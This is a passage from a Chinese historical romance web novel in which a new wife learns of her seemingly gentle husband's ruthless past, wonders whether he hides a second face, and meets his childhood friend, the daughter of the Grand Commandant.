“对了,听说京城起了个头筹新秀,是卫——”二房夫人还没说完,旁边三房夫人忽然撞了她一下,目光朝祝吟鸾这边暗示。 二房夫人话头止住,想到什么似的,尴尬笑着扯过这个话茬。 祝吟鸾也知道二房夫人要说什么,是她的前婆家,卫家。 卫如琢蒸蒸日上,势头很猛,入了高门世家的视线范围内成为谈资,也不足为奇。 先前和离的时候听说他还在晋选尚书之位,现如今也不知如何了? 有长姐帮着他乘风助势,想必应该稳妥吧? 卫家的事情与她已经没有了任何的干系,所以她也不曾有过任何的留意。 但很快祝吟鸾转念想到一件事情,按照现如今祝家缠着沈景湛要提携的势头,卫如琢和长姐成了亲事,卫家会不会也攀附上沈家? 卫如琢或许要面子,不会做出这样的事情,可庞氏那边可说不准了,庞氏无利不起早,攀龙附凤,趋炎附势,跟朱夫人相比,有过之而无不及。 思及此,她的心也开始变得担忧。 “行了,今日就说到这里吧。”沈老太太发话,“玉儿这一路辛苦了,好生在家里歇歇,不要成日往外跑。” 看着关怀,恐怕是察觉了沈蔻玉不想嫁人的心思,暗地里禁足。 “平日里若是闷,来找你嫂嫂说说话吧,你二人年岁相仿,她做事说话却比你稳妥许多,该跟她学学。” 都说祝吟鸾这些时日讨好了老太太,几房原是不信的。 今儿亲耳听到沈老太太对她的赞许,又多看了她两眼。 “祖母您过誉了。”祝吟鸾回了一句。 沈老太太抬手要起身,祝吟鸾在她跟前很多日,自然知道她是要人搀扶,连忙上前去。 “好了,都散了吧。”沈老太太道。 祝吟鸾送她回去,沈蔻玉跟着沈夫人去了院子。 到韵梅堂,祝吟鸾给老太太揉捏。 她跟祝吟鸾说起沈蔻玉,让祝吟鸾多去找找她,劝劝她。 想到今日沈蔻玉对成亲一事的抗拒,祝吟鸾犹豫忐忑,忍不住在心里想,她要怎么劝?怵人眉头岂不是要遭人嫉恨吗? 沈老太太没睁眼,却能够感受到她的情绪。 跟她道,“玉儿敬畏她兄长,你若是去说,她不会与你急眼的,我今日跟你说,也是想让你叫听澜多劝劝她。” 沈老太太都安排好了,祝吟鸾还能说什么,只能点头,“孙媳会尽力的。” “嗯。”沈老太太满意点头。 祝吟鸾的家世虽然不好,但人还算温顺,说什么她都不顶嘴,这十分难得。 “……” 从韵梅堂出来,祝吟鸾自然是回了她的院子。 她过游廊之时看着沈家的院落,想着昨日的梦和今日发生的事情。 总觉得什么地方怪怪的,但又察觉不到源头。 这种感觉好似走在蒙沉沉的雾里。 她刚到院落吃了一盏茶,外头小丫鬟来传话,说沈蔻玉来拜访。 祝吟鸾意外她的到来,亲自起身去迎接。 沈蔻玉好似哭过,眼睛比离开正厅的时候还要红,但脸上挂着笑。 喊着祝吟鸾嫂嫂,说十分喜欢祝吟鸾送的玉鞭,是她一直很想要的东西。 祝吟鸾请她坐下,吩咐明芽上茶。 “我可以要青绿山涧吗?不喜欢花茶。”她道。 “自然可以。”祝吟鸾让明芽准备,还问她想吃什么糕点? 沈蔻玉很不见外,当下就点了糕点名。 “我这人嘴上有些挑剔,嫂嫂不要见怪。” “不怪不怪。”祝吟鸾笑。 若矫揉造作,那才是真的不好相处。 “我过来找嫂嫂,一是为了答谢嫂嫂给我的玉鞭之礼,二来也是想躲躲清闲。” 茶还没上来,沈蔻玉一手撑着脑袋,另一只手转着茶盏。 “小姑能过来这边,我很高兴。”她本来就有意跟沈家人打好关系。 沈蔻玉不嫌她,这自然是好。 正巧,她也想问问,沈蔻玉早膳时所提的画像是什么? “那玉鞭实际上是夫君准备的。” “哥哥给了嫂嫂,便是嫂嫂之物,嫂嫂赠我,我也该答谢嫂嫂。” “话说回来,我给嫂嫂的东西,嫂嫂可曾看了?” 祝吟鸾说还没来得及看。 “快拿过来。” 姣惠把锦盒拿来,沈蔻玉拉着祝吟鸾到内室,还叫人把窗桕,珠帘玉幕全都给放下来。 内室瞬间阴暗。 祝吟鸾不解,她还不大习惯沈蔻玉的随和亲近,对方却已经催着她快把檀木盒打开。 祝吟鸾疑惑着打开。 下一息,锦盒之内的东西展露芳华,将整个内室都给映亮了,更重要的是,还在四面投了不少浅影,似夜晚的星空蘩亮,祝吟鸾愣住。 “这……?” 沈蔻玉笑眯眯道,“这是我在琉州偶然得的巧物,不止能做夜明珠照亮之效,还似皮影一般透星宿之景,特送与嫂嫂,做新婚之贺!愿嫂嫂和哥哥姻缘美满,如星月时时相伴。” 当真是一件巧物,祝吟鸾说太贵重了。 沈蔻玉却道她赠她的玉鞭更贵重,全京城找不出第二条了。 祝吟鸾瞧了好一会才让人收起珠子。 茶点也端上来了,两人坐着品茶说话。 多是沈蔻玉在讲,她问祝吟鸾到沈家以后可还习惯?有没有遇到什么事? 祝吟鸾谢过她的关怀道没有,“亲长宽厚,妯娌们和善,并无人为难我。” “那便好,但也多得益于嫂嫂人好…”沈蔻玉夸了她好几句。 祝吟鸾顺着她讨巧的语气隐约察觉到沈蔻玉似乎有事求她。 不出她所料,闲聊没几句后,沈蔻玉开口了,“嫂嫂,我有个不情之请,不知你能不能帮帮我?” 祝吟款猜测可能是为了成亲之事。 沈蔻玉性子爽朗,祝吟鸾也不跟她兜兜转转卖关子,“若是为了成亲一事,我可能有心无力。” “方才送祖母回去,她老人家还让我劝小姑收心嫁人。” 沈蔻玉撇了撇嘴,“母亲和祖母真是一条心啊!到底是多想把我嫁出去!” 她抓起糕点,愤愤咬了好几口,腮帮子鼓鼓的,看起来很是可爱。 祝吟鸾给她递了一方帕子。 沈蔻玉接了,“嫂嫂,我也知道你为难,但我真的不想成亲,你帮我跟哥哥说说吧?哥哥在家中历来威严,父亲都镇不住他,若是哥哥开口,母亲和祖母再也不会逼我嫁人了。” “夫君那边我若去说……”祝吟鸾犹豫。 不是她不愿意传达。 而是…… 这里是沈家啊?要是她给沈景湛吹枕头风,“阻了”沈蔻玉的“姻缘”,沈老太太和沈夫人恐怕都会对她不满。 “小姑不如亲自跟夫君说?”她犹豫着拒绝。 “哥哥哪里肯帮我。”听到祝吟鸾没松口,沈蔻玉人焉了,她趴在桌上,有气无力玩着杯子。 “嫂嫂你是不知道哥哥有多凶,我不敢去跟他说的,若是真去了,指不定还要被他训斥教导,也说我整日里没个正形,甚至比父亲母亲还要说得厉害。” “夫君这么凶吗?”她难以想象沈景湛严厉训斥人的模样。 准确来说,是没有见过,所以无从想象。 沈景湛一直是温和的,如沐春风的,体贴入微的,周到细致的。 非要说他那里不好,就是时常围堵长辈的话,但也不算凶吧? “凶!”沈蔻玉坐直身子。 “嫂嫂之前没有见过他在家里是怎么说一不二的,便是父亲都压不过他,就连祖母开口,他都不怎么给面子。” “是吗?”祝吟鸾疑惑,问具体是什么事? “因为之前母亲给哥哥房——”话说到一半她顿了,瑟缩着脑袋,“嫂嫂我说了你会不会生气?” 祝吟鸾摇头,“不会。” “那你也不要同哥哥说啊。” “嗯。”她点头。 沈蔻玉压低声音,说前些年沈景湛到了省事的年岁却迟迟不收通房丫鬟,几次提了都被他否决不要。 沈夫人担心他有问题,往他外院偷偷放了貌美的丫鬟。 那小丫鬟又偷偷在沈景湛的茶水里放了点东西,企图爬床。 被他发现以后砍了手,丢到了沈夫人的院子里。 “砍、砍了手?!”祝吟鸾还以为她听错了。 “是啊。”想起那个场景,沈蔻玉的脸色也变得惊恐。 “哥哥警惕性很高,察觉到异常以后抽出剑,阴沉着脸问她是哪只手下的药? “那小丫鬟不肯说,哥哥便道两只都砍了,那小丫鬟才说是右手,话音才落,右手也被砍得飞溅,在场的人都被吓晕了好几个。” “什么……”祝吟鸾噎了一下。 “嫂嫂你不信啊?”沈蔻玉说,“不信你可以寻底下人去问问,这件事情虽然过去许久了,但府上的人都还记得。” “除此之外,当年朝廷上的事情,嫂嫂也可以去打听打听,哥哥出入刑部,他在那处有个名号。” “什么名号?” “阎王酷吏!” 沈蔻玉说他审人又快又迅速,再狡猾的死刑都能被他撬开嘴。 祝吟鸾觉得好陌生,“……” 这是沈景湛吗? 沈蔻玉想到今日温润如玉的兄长,不觉得亲切,只觉得见鬼,忍不住由心感叹道, “也不怪嫂嫂怀疑啦。” “嫂嫂面前的哥哥,跟我们所知的哥哥似乎不太一样呢。” 第56章 第56章沈景湛的青梅竹马? 祝吟鸾听到这句话,越发觉得迷幻。 “什么?” 什么叫她眼前所见的沈景湛跟她们所知的沈景湛不太一样? 难不成沈景湛还有别的面孔吗? 什么面孔? 结合着沈蔻玉说的话,她一瞬间就想到了…….梦里的男子。 虽然没有拨云见日,见过他实实在在的样貌,但他的身量.形.体似乎都与沈景湛差不多。 一时之间,祝吟鸾真的不知道,这到底还是不是巧合了? 见祝吟鸾一句不可置信的喃出什么之后便有些神色复杂。 沈蔻玉自觉失言,想到沈景湛临出门前对祝吟鸾的嘘寒问暖,若是被他回来知道了…… 连忙找补道都是过去的事情了,“嫂嫂你可不要放在心上,也不要觉得害怕,哥哥那是为了树立威严,所以才不得不那么做。” “你想想哥哥年轻入仕,又身居高位,父亲母亲说朝廷之上的人见他是世家子弟,难免觉得他是靠家中打点才爬到御前,所以要雷厉风行一些!” “哥哥往日不这样的!他在我们面前也很温和。” 温和…… 的确是温和。 祝吟鸾想到今日在桌上,众人窥探沈景湛的情景。 对了,包括先前二房夫人总是上侯府找沈夫人办沈嘉显的事情,就连沈老太太都让她去拐弯抹角问沈景湛。 沈夫人说过沈景湛不提沈家人入仕,那有关沈嘉显的凋零怎么一直找他? 更何况,沈家树大根深,在京城盘踞这么多年,说句犯上冒昧大不敬的话,沈侯爷以及沈家那么多旁支大人会没办法把沈嘉显调回来吗? 再者说,听着今日沈蔻玉的口风,沈嘉显在家中颇受疼爱,既然受疼爱,怎么会被放到边县去呢? 纵然是二房大人外放他去历练,想把他调回来岂不是一句话的事情?偏偏围绕着沈景湛。 只有一种可能,这是沈景湛把他给外放出去的。 沈嘉显做了什么事情,竟然让沈景湛把他给外放出去? 话又说回来,沈家的人似乎…的确都挺畏惧沈景湛的。 “嫂嫂,你在想什么?”好半天不见祝吟鸾说话,沈蔻玉都不免忧心起来。 “没事。”祝吟鸾压下心头乱糟糟的思绪,尽量使自己看起来不动声色。 “你可不要误会哥哥啊,嫂嫂。”要是让兄长知道她说这些,保管明日就把她给嫁出去! “没有,我只是觉得…夫君这一路似乎也不太容易,外人瞧着他光鲜亮丽,内里却……” 沈蔻玉心无城府,见祝吟鸾如此说,便 放下了心思。 主要祝吟鸾的样貌看起来温软恬静,不像会撒谎。 可沈蔻玉的心还没有松一会,便听到祝吟鸾问她画像的事情。 “什么画像啊?”祝吟鸾奇怪。 “啊?”沈蔻玉愣了一会,跟祝吟鸾大眼瞪小眼。 “没什么画像啊…”她的声音弱下来,直觉这件事情或许不能说,因为祝吟鸾似乎都不知道。 若是说了……哥哥责备她多嘴怎么办? 察觉到沈蔻玉竖起了警惕,不好套话了,祝吟鸾沉默下来,“……” 转移话茬沈蔻玉又不知道说什么,害怕祝吟鸾心里有疙瘩,沈蔻玉眼珠子一转,想了一个借口道,“是这样的嫂嫂…” “当时你与哥哥成亲,我在琉州不能过来,便让母亲给我寄了嫂嫂你的画像,所以今天才那样说了。” 这番说辞,应当寻不出错了吧? “原来是这样啊…”虽然沈蔻玉的回话听起来没有什么破绽,但祝吟鸾知道,这并非是真相。 到底是什么画像? 那种好似被蒙在鼓中,云里雾里的感觉又来了。 “对,就是这样。” 沈蔻玉觉得不能再待下去了,正打算起身告辞,可祝吟鸾却又问她画像还在吗? 沈蔻玉愣了一下,“在……不在了!” “我当时在琉州看过之后便让小丫鬟给收了起来,嫂嫂若是你也想看,我回头问问给我收拾箱笼细软的小丫鬟吧。” 这本来就是推脱的话,没想到祝吟鸾居然点头了,“好,届时你问问?” “我也想看看夫君找人画的我,究竟是怎样的。” “行。”害怕口无遮拦又说错话,沈蔻玉没坐一会便离开了。 她走后祝吟鸾展露出思忖之色, 姣惠在一旁一直留意着她的反应,“……” 回了院子的沈蔻玉也是闷得很,原想去跟祝吟鸾亲近亲近,叫她帮自己跟沈景湛说话,却没想到闹出这档子事情来。 思来想去,她还是放心不下,赶在沈景湛回府之前在廊下堵住了他,先跟他陈情了自己的失言,并表示下次再也不敢口无遮拦了。 沈景湛看着她不言语。 沈蔻玉被他瞧得心里打鼓,忍不住腹诽,兄长对着嫂嫂和对旁人的态度还真是不同。 如今祝吟鸾不在,他脸上一丝笑意也没有,清冷若冰霜,站在他旁边都觉得寒津津的。 沈蔻玉不敢多话,良久之后沈景湛才道,“你出门也有小半年了,怎么还是一副直肠子,嗯?” 几乎是在瞬间,沈蔻玉便懂了沈景湛的言外之意,他哪里是说她直肠子,而是训她没长进。 但这件事情的确是她理亏,不能顶嘴。 “蔻玉下次再也不敢了,哥哥。” 瞧着她低头低脑,沈景湛再没说什么了,抬脚离开。 沈蔻玉,“……” 祝吟鸾一整日都待在院内看景想事情。 琢磨了许久,没有捋清楚就算了,反而觉得不对劲,更恼火的是,她自己也不知道究竟什么地方不对劲。 这种感觉令她难受,她不断想到沈景湛对她的温柔体贴,又觉得她这样恶意揣测沈景湛,实在是不好。 或许真的应该找个太医看看了吧。 沈景湛回来之时,祝吟鸾在后院庭坐着假寐。 是他身上清冽的气息袭来,她才惊觉他悄无声息的靠近,她抬眼看去。 男人眉眼如画,旁边悬挂的琉璃灯笼罩着他的周身轮廓,映照得他如同玉台神君一般。 他半蹲下来,就在她的面前。 还没说话,率先伸手过来,祝吟鸾发着呆没来得及躲避,等她想要躲的时候,沈景湛的手已经放在她的额面上了。 她感受到男人指腹摩挲下来的温柔,“……” 即便沈景湛什么都没有说,但祝吟鸾知道,他是在试探她有没有哪里不舒坦,是因为知道问她,她可能不会说了。 沈景湛几次救她于危难,她怎么能够因为一些虚无缥缈的梦,从而怀疑他,质疑他,甚至觉得他不是好人? 官场之上波诡云谲,若是没有狠绝的铁腕,又如何能够在朝廷站稳脚跟呢? 他现如今可是沈家的世子,又是朝廷的中书大人,沈家人敬畏他不是应该的吗?也正是因为沈景湛的敬畏,才让她也得了不少殊荣。 表面上没有人敢为难她,背地里也没有听到什么乱七八糟的言语,如此,她还有什么不满足? 两人本就是盟亲,她应当信任的他。 等等,盟亲…… 祝吟鸾在心里重复着这两个字。 其实从一开始,她对于沈景湛就不是太了解,即便知道,也不过是表面上的身份,还有几次接触下来觉得他温柔,再往里深究,便没有什么了。 如今又为何这样介怀?她介怀沈景湛到底是个什么样的人,有没有骗她? 难不成,她对沈景湛……假戏真做,沉沦下去了吗? 思及此,祝吟鸾的心中越发警铃大作。 “晚膳已经备办好了。”他从她额头上收回手后,去牵她。 祝吟鸾看着面前,男人修长如玉的手指… 他没有直接过来牵她了,而是停留在半空,让她自己抉择要不要牵。 也不曾对她的停滞进行催促,一直在等。 半息之后,祝吟鸾还是把手交到了沈景湛的手上。 男人掌心温热,搭上去一会,他顺势牵着她起来,可也只是牵着她起来,便松开了。 祝吟鸾察觉到他的变化,只觉得意外,但没有开口说话。 用晚膳之时,就跟前一样,沈景湛会告诉她今日发生了什么时候,也会问她在家都做了什么了。 仿佛什么都不曾发生过。 但也的确没发生什么,祝吟鸾一直觉得是她自己在莫名计较奇怪。 这一切,都起源于她的梦。 夜里歇息,沈夫人又派了人来。 她和沈景湛都成亲有些时日了,沈夫人和沈老太太却一直叫人过来听墙角,究竟要到什么时候才肯停止? 莫不是要等她“怀孕”?可她根本就不会有身孕啊。 对了,说到这件事情,她应当斟酌着跟沈景湛开口了。 眼下要说吗? 昨日沈老太太和沈夫人也派了人来,但因为她的腰还酸着,沈景湛没有碰她。 今日,她的身子骨已然好全了。 可那个梦…… 身侧的男人忽而启唇,“今日下值回来,小妹在廊下告知我,她口无遮拦跟鸾儿说一些事情。” 沈蔻玉居然跟沈景湛说了?祝吟鸾惊讶。 “嗯……”她心里翻着主意,面上却轻声应他。 “所以,鸾儿怕我了吗?”男人没有辩解,反而问她。 祝吟鸾顿了一会才道没有。 男人轻笑,“还以为鸾儿怕我了。” “不是怕…只是诧异。”加上那个稀奇古怪的梦。 她不知道怎么跟沈景湛说。 若是说了,他会不会觉得她莫名其妙,神经兮兮,抑或者庸人自扰。 但另一方面祝吟鸾也很清楚,沈景湛不会的。 他是温润君子,才不会像卫如琢那样令人厌恶。 思及此,她又把心往下压了压,这一整日都是她太疑神疑鬼了。 “那个画像……”沈景湛轻声告知她,并非是沈蔻玉说的那样。 “不是那样,那是怎样?”她微转过来。 “小妹看到的画像存在我的书房之中,是她的画像。” 起初,祝吟鸾也以为沈景湛说的“她”是沈蔻玉,可很快又反应过来,不是。 他话语里的她,是……隐藏心中的意中人吧? 这还是第一次,沈景湛跟她提起“那个人”。 祝吟鸾来了那么一点兴趣。 她也朝他那边转了转脸,看过去。 “居然是她的画像,小妹怎么说…是我?” 原本想要复述沈蔻玉的原话,可沈蔻玉说的原话是说她比画像上漂亮,这话要是说出来,岂非自傲?她不想说。 “那幅小像我存在于书房之中,若是鸾儿想看,我可以拿来给你看看。” 年岁久远,她未必认得出来,更何况她还失去了记忆,之前的事情都 差不离忘记了。 更重要的是,沈景湛了解她,她不会看的。 事实如此,祝吟鸾道不必了。 沈景湛接着道,“画像经年累月,上面的人物已经基本模糊,先前小妹来书房寻我,我虽然收得比较快,但还是被她给看到了。” “她没有窥见全貌?”姑娘钻进了老狐狸的话套里。 “嗯。”他点头,在昏暗当中不动声色朝着她靠近。 祝吟鸾的注意力还停留在那副小像上,根本没注意到男人的动作。 “鸾儿忘记了吗,当初我与家中人说的是倾慕你多年,故而小妹认为那是你的画像。” “原来如此。”这就说得通了,祝吟鸾心想。 “鸾儿还有什么想问我?” 祝吟鸾摇头,“没有。”她不想说那个旖丽而匪夷所思的梦。 对于沈景湛朝堂上的事情更不想问。 “我不想鸾儿与我有嫌隙,日后若是再有什么,你径直问了我就是了。” 祝吟鸾彻底转了脸,对上男人的目光。 她看着他的眉眼,一时之间失了神,“……” 不知道是从何时开始,等她回神,已经和沈景湛吻到了一处。 男人的薄唇一下下.吮.着她的唇瓣,时重时轻。 她想要推开他的时候,身子骨软了下来。 他不只是吻她的唇,还会亲她的侧脸,她的耳垂,与她耳鬓厮磨。 气氛在无形当中升温。 祝吟鸾觉得她整个人都软了下来。 她对于沈景湛的接触越发没有抵抗力了。 更别提她喜欢跟他亲吻。 是的,她喜欢。 明明心里还想着,沈景湛跟她梦中男子的身影体骨是重合的。 原本已经开始抵触沈景湛的触碰,不想跟他亲吻了,还在发愁怎么应付外面前来偷听的人? 可真的与沈景湛吻上,她又无法抗拒了。 舒坦顺着她的皮肉蔓延到骨头缝里去。 她又开始忍不住发出低低的轻.吟声了。 不一样的。 沈景湛的身骨跟那个男人一样,但他个人的感觉不同。 沈景湛温柔如风,跟他行房,舒服至极。 与那个男人,她……觉得害怕。 “鸾儿不要走神。” 修长如玉的大掌剥开了,保护柔软的春衣,吻了上去。 祝吟鸾的敏感更胜从前,她躬起身子,捏着男人的臂膀,指甲都忍不住掐了进去。 她的眼角溢出眼泪。 后知后觉自己掐到了沈景湛,连忙松开手。 可还没松开一会呢。 强势中带着柔软的风,卷上了春山深处。 她的手指又越发用力掐住了他,在无形的羞赧抗拒之间。 祝吟鸾嫩白的小脚,踢到了男人的锁骨。 他捏着她的腿弯,在他的肩骨处给她找了一个最舒服的挂处。 很快,祝吟鸾的两只脚踝,交织扣在了男人的后颈处。 受春雨淋打的春花,忍不住颤颤巍巍起来。 她发出悦耳的声音,似莺啼婉转,但又比莺啼更娇些。 他待她兴致来了之后,方才与她行鱼水之欢。 这鱼水之欢,若是水韵不足,便没有欢趣了。 他很顾及她,攀春山之前先跟她说了一声。 祝吟鸾的心中虽然已经有准备了,但还是吃不消。 不过是间隔了一日而已,她都不知道怎么就怎么“道阻且难”了? 更何况沈景湛一开始还哄了她。 等着她适应了方才开始。 可她却依然受不了。 这种受不了并不是难受痛苦,而是他的强大里挟裹着照拂她的温柔。 她一微微表达不适,他便停了下来,所以才没有,攀至最亲密无间处。 沈景湛停下来等着她缓和。 他自己也非常难受,甚至可以说有些疼了。 黑暗当中,祝吟鸾并没有看到男人的眼底有多深得吓人。 她是在搂着他臂膀的时候碰到了男人手腕之上蜿蜒紧绷的脉络,洞悉了他的痛苦。 沈景湛定然也是难受的。 祝吟鸾抿唇,对着他道,“我……我没事,夫君可以继续的。” “真的还好吗?”沈景湛柔声问她。 “若是鸾儿不好,我便离开。” 都到了这样箭在弦上不得不发的趋势了,他居然还能说离开。 这样好的沈景湛,她怎么还怀疑他具有两幅面孔呢? 祝吟鸾内疚的同时,人也在瑟缩躲避,沈景湛随着她的回避而青筋蹦起。 听出他话语里的痛苦,祝吟鸾身体力行告诉他可以。 她不仅仅是嘴上说,甚至还整个人往下靠近,主动迎合他的攀越。 “……” 明芽听着里面传出来的令人面红耳赤的声音,跟旁边一道守夜的姣惠道,“今日我还担心小姐和世子爷闹不愉,眼下却是可以放心了。” “是啊。”姣惠附和着她的话。 她倒是不怎么担心,因为沈景湛一定会哄好祝吟鸾,这是毋庸置疑的。 闹到了半夜,小丫鬟们听从里面的吩咐进去送水。 祝吟鸾被沈景湛抱着去梳洗沐浴。 纵然已经有过了很多次的亲密,但在这样光亮的情景之下,他帮着她擦洗,祝吟鸾还是觉得很害羞。“ 她轻声推拒,“夫君先去沐浴吧,这边有明芽和姣惠就可以了。” 浴桶里面的姑娘小脸红得仿佛要滴血,沈景湛知道不能逼得太紧,便顺了她的意思。 “好,鸾儿若有事便叫我。” 她应当是在靠近他之后,梦到什么过往。 但那都是梦,所以不能够作为佐证。 “嗯。”她避开他的目光,根本不敢跟他对视。 重回床榻之上,这一次祝吟鸾没有忘记要跟沈景湛说的事情,物色义子人选。 “这件事情我其实早已经让人暗中留意了,但事情要做得隐蔽,且不能够.操之过急,便没有跟鸾儿说。” 原来他早就有所打算了? 闻言,祝吟鸾也定了心思。 也是啊,她和沈景湛总不能一直这么亲密下去吧? 就算是他曾经说过,两人之间行鱼水之欢愉悦,不需要抵抗。 但……也不知道是不是总跟沈景湛行房的缘故,她总是做那些乱七八糟的梦境。 若是减少与沈景湛的接触,说不定能够有所好转呢? 她只能寄希望于此了。 说到底,还是不想去看太医,那梦怎么好跟太医说啊?她连枕边人都难以启齿。 “夫君深谋远虑,是我多心了。”祝吟鸾轻声。 沈景湛笑了一下,“嗯。” 什么深谋远虑,若是有朝一日,她知道这一切不过都是哄骗她的幌子而已,她会怎么跟他闹? 像以前一样赶他走吗? 沈景湛忍不住想。 “鸾儿歇吧。”他让她早点休息。 祝吟鸾闭上眼睛没一会,想到沈蔻玉的事情,怕沈蔻玉不肯善罢甘休,还是把这件事情跟沈景湛提了一下。 “鸾儿既然为难就不必去做,两边都应付着说好就是了。”他教她敷衍长辈的托付,以及沈蔻玉的祈求。 “这些总归都是旁人的事情,你这些时日心绪不佳,别再扰了心神,叫自己睡不安稳。” 祝吟鸾感受到他的关怀,心里忍不住一暖。 沈景湛从来不会把难题交给她,反而多加关怀她,只在意她的身子和心绪。 “…多谢夫君。”她由衷感谢。 沈景湛浅笑着伸出手轻揉了揉她的头发。 祝吟鸾在男人的安抚当中闭上了眼。 在她闭上眼的后一息,男人脸上的笑意多了几分危险的深暗。 “……” 不出祝吟鸾所料,接连几日,沈蔻玉都来她这边套近乎,就是想要她帮忙。 沈老太太和沈夫人那边得知沈蔻玉与她走近,也是乐得其成,让祝吟鸾多多劝着沈蔻玉,早些安了心思嫁人。 有沈景湛发了话,祝吟鸾便左右敷衍着,倒不显得怎么吃力。 依她所见,沈蔻玉有可能胳膊拧不过大腿,终究还是要听从家里人安排嫁人,因为沈夫人已经有了中意的人选,偷偷在其中安排了。 这一日,沈景湛方才 出门。 沈蔻玉过这边来陪祝吟鸾用早膳,才将吃完,小丫鬟说有客来访。 她刚问是谁? 沈蔻玉已经翻开了小丫鬟递过来的贴子,“是姚姐姐啊!” 姚? 那个太尉之女?沈景湛的青梅竹马? 第57章 第57章你…你怀孕了。 祝吟鸾顿了一下,但又很快隐去了她的情绪。 “不知姚小姐上门有何事?”听着沈蔻玉的口风,她与这位太尉之女,似乎关系亲厚。 不过……想想也不觉得意外。 沈蔻玉脾性坦率,少有人不喜欢她的。 这位太尉之女,祝吟鸾还不曾见过。 上一次姚姿来了是沈夫人接待的,自那回以后,她便没来过了。 除此之外,倒是有不少官眷贵妇上门,的确如同沈景湛所说,是为了拉近与沈家的关系,想要在这场殿试泄题案中谋些益处。 即便沈景湛一开始就叮嘱了她要小心应对,沈夫人到底还是无法让她独自一人接待世家夫人们,次次都盯着。 因而祝吟鸾只做陪同,她时常连话都不必说,就在沈夫人旁边坐着,时不时应上一两句便好了。 沈家门第高,来往之人多是京城顶流权贵,很多人祝吟鸾都只听过名号没见过呢。 这两日.操.持着沈蔻玉的婚事,沈夫人推了不少帖子,接的多是一些家中具有青年才俊的世家夫人,总要让沈蔻玉一道作陪,自然了,祝吟鸾也得在身侧跟着。 方才用早膳的时候,沈夫人还特地派人送了新的披帛和珠钗过来,让沈蔻玉搭着衣裙试试,说是新得的散花绫和浮光锦。 不仅仅是给了沈蔻玉,祝吟鸾的份也不曾空缺。 祝吟鸾的衣着历来清雅,她知道沈夫人送来的东西主要是给沈蔻玉,所以只是走走过场挑拣一两件,并不曾多拿。 更何况,她也不需要这些。 沈景湛往日里叫人给她置办的头面首饰,绫罗绸缎已经数不胜数。 “嫂嫂,你还没有见过姚姐姐吧?” 沈蔻玉把帖子递给小丫鬟,让管事的妈妈先请姚姿去正厅吃茶,好生招待着,她和祝吟鸾一会就去。 “没有。”祝吟鸾如实道。 “姚姐姐温柔大方,说不定也与嫂嫂谈得来呢。”沈蔻玉跟她说着姚姿的为人处事。 祝吟鸾浅笑着在听,心里却没有太当真。 这人与人之间历来是不同的。 听着沈蔻玉的口风,姚姿与她是交好,但两人之间的交好归根究底,还是基于两家的门第才如此。 不宜让姚姿等太久,没说几句,两人便过去了。 姚姿果如祝吟鸾所想,十分具有高门贵女的风范。 沈蔻玉的身量在女子当中已然算高挑的了,但跟姚姿相比,还是矮了一截,姚姿着一身揉蓝水粉色的裙衫,梳着朝云近香髻,缀了玉镶红宝石簪,相貌端庄秀丽。 祝吟鸾在打量对方的同时,姚姿也在观察她。 老实说,早知沈景湛要娶妻那会,她便已经找人弄到了祝吟鸾的画像,得知了她的出身,觉得她根本就配不上沈景湛。 但今日一见,祝吟鸾竟如此花容月貌,比画像上还要漂亮几分。 若是抛开家世不谈,就用品相来看,她和沈景湛是登对的。 姚姿自觉品貌不低,京城世家的贵女她也大多相熟见过了,可没想到…祝家的小庶女竟然生得这般貌美? 祝吟鸾衣裙淡雅,钗环也没簪太多,脸上脂粉就像是没有涂抹…… 不过是稍加打扮便夺人眼球,她要是盛装出席,岂不是艳冠群芳了吗? 姚姿心里不免紧张起来。 除此之外,她又忍不住在想,沈景湛看上的是祝家女的样貌? 可……沈景湛也不像是以貌取人的人。 心中五味杂陈,姚姿的脸上不曾露出任何破绽。 她于与祝吟鸾见了礼数后寒暄道,“早便听说少夫人亲切,一直想过府上探探,但总寻不到机会,今儿总算是见了。” 说话间,姚姿让人把她备办的礼给拿上来。 祝吟鸾也与她客套了几句,才让小丫鬟收了礼。 跟在沈夫人身边一段时日,见了很多官眷贵妇,祝吟鸾也学了不少接见人的场面话,更重要的是,她的胆子心性和定力也磨出来不少。 姚姿也惊叹她的落落大方,原以为那些小门户庶女都是唯唯诺诺的样子,祝吟鸾却给人游刃有余的感觉。 一点都不像是小门户出身的姑娘,可她的的确确又是小门户出来的人。 沈蔻玉问姚姿今日怎么想着上沈家门来了?也不提前叫人说,合该早点来,一道用早膳。 姚姿收回思绪道,“我母亲病了,要在跟前伺候便没过侯府来,不然蔻玉妹妹归家,我应当过来迎接,不该耽误到今日才来与你叙话。” “伯母病了?这是怎么了?”沈蔻玉忙问。 “也没什么,就是时节梅雨,染了寒气,身上不爽快,已经请了太医去看,人好多了。” 实则是因为太尉的事情,这才闹得身子不爽,对外自然是不能说的。 沈蔻玉没有察觉,祝吟鸾却从姚姿的细微神色当中留意到了她话里有所隐藏。 她自然没有戳穿,跟着沈蔻玉一道慰问了好多句。 今日姚姿过来的确没什么事,就是听说沈蔻玉返京,前来探望,“顺道”看看祝吟鸾。 但不知怎么的,居然惊动了沈老太太,派了老妈妈过来,说韵梅堂备办了午膳,让三人去那边用饭说话。 早便听闻姚姿以前时常上沈家门看顾老太太,今日见沈老太太对她的熟稔样子,便知此言非虚。 沈老太太也知道太尉夫人病了,仔细问了问姚姿,还让管事的妈妈包了千年人参,让姚姿回去的时候带着走,给她母亲煲药汤喝。 姚姿道,“虽然长者赐不可辞,但适才在前厅,少夫人听闻家母卧病,已经吩咐下人备办了人参,这千年的人参价值连城,拿这么多回去,母亲也要训斥说我这个做小辈的不懂规矩。” 沈老太太看了祝吟鸾一眼。 叫管事妈妈换成了别的物件做礼,让姚姿带回去。 沈夫人今儿不在家,倒是有长房姨娘抱了孙子来给沈老太太请安,只是没有留在这边用膳。 因为有长房的姨娘事先带了人来过,沈老太太用膳期间,不免催着祝吟鸾,让她早些跟沈景湛要孩子。 祝吟鸾攥紧了银筷,说她知道了。 姚姿不免看过去,她知道祝吟鸾的身份,当然也清楚祝吟鸾先前嫁入卫家四年没有身孕的事情。 沈蔻玉有事求着祝吟鸾,自然跳出来帮祝吟鸾打圆场,说她才嫁进来没有多久,孩子的事情还急不来了,况且这不是早晚的事情吗? 沈老太太哼了一声,顺着沈蔻玉的话往下,“你哥哥嫂嫂的事情的确是急不来,那你的事情呢?” “孙女的什么事情啊?”沈蔻玉装聋作哑,声音也渐渐弱了下去。 “你说为着什么事情?”提到这对兄妹,沈老太太也是头疼。 当初一个不娶一个不嫁,让她气得不行,现如今沈景湛好不容易娶了,虽然娶的人身份不怎么好,但也算是娶了,日子到底过得也还算好吧。 